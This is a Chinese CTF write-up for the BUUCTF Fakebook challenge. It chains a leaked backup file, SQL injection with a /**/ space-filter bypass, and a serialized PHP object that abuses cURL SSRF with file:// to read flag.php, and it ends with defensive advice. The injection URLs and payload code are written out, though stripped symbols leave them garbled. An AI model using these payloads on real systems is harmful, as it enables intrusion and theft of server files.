BUUCTF：[网鼎杯 2018]Fakebook 漏洞链深度剖析：从SQL注入到SSRF的实战利用

1. 初探Fakebook信息收集与源码泄露打开题目链接后我习惯性地在URL后添加/robots.txt进行探测。这个文件就像网站的藏宝图经常能发现开发者不想被公开的路径。果然在这里发现了/user.php.bak这个备份文件。下载后用编辑器打开一段关键代码映入眼帘class UserInfo { public $name ; public $age 0; public $blog ; public function __construct($name, $age, $blog) { $this-name $name; $this-age (int)$age; $this-blog $blog; } function get($url) { $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output curl_exec($ch); $httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this-get($this-blog); } }这段代码暴露出两个关键点首先get()方法使用cURL发起网络请求且未做任何过滤存在SSRF漏洞其次blog属性值会被直接拼接到请求中。就像把自家钥匙挂在门上攻击者可以借此读取服务器上的任意文件。2. 突破登录防线SQL注入的巧妙绕过注册账号登录后发现URL中有?no参数。测试输入?no1立即出现数据库报错确认存在SQL注入。但常规注入语句1 or 11--却失效了——原来系统过滤了空格字符。这时候就需要些花式操作了。在MySQL中可以用/**/代替空格就像用摩斯密码代替正常对话。经过多次测试我整理出完整的注入流程?no1/**/order/**/by/**/4 ?no-1/**/union/**/select/**/1,2,3,4 ?no-1/**/union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata ?no-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schemafakebook最终在users表的data字段中发现了序列化数据这就像找到了保险箱的密码本。通过报错信息还意外获得了绝对路径/var/www/html/为后续攻击埋下伏笔。3. 构建攻击链条从反序列化到SSRF分析数据存储方式时发现data字段存储的是序列化的UserInfo对象。当网站读取这个字段时会自动执行__wakeup()或__destruct()魔法方法。这就好比在快递盒里藏了个会自动打开的机关。我构造了特殊的Payload?php class UserInfo { public $name test; public $age 1; public $blog file:///var/www/html/flag.php; } echo serialize(new UserInfo()); ?生成的序列化字符串就像特制的钥匙O:8:UserInfo:3:{s:4:name;s:4:test;s:3:age;i:1;s:4:blog;s:29:file:///var/www/html/flag.php;}通过SQL注入将这个字符串写入数据库?no-1/**/union/**/select/**/1,2,3,O:8:UserInfo...当网站读取这个数据时会自动触发SSRF漏洞去读取flag.php。查看页面源码在iframe链接中就能找到flag内容。整个过程就像多米诺骨牌一环扣一环地触发各个漏洞。4. 防御方案与思考这个案例展示了漏洞链的威力。作为开发者应该对用户输入进行严格过滤使用参数化查询防御SQL注入禁用备份文件公开访问设置服务器禁止显示.bak扩展名限制cURL请求范围禁止file://等危险协议对反序列化操作进行白名单控制在CTF比赛中这种多漏洞组合的题目很常见。解题时要像侦探一样把每个线索串联起来。记得有次实战中我花了三小时才想到用/**/绕过空格过滤这种经验教训比单纯看教程深刻得多。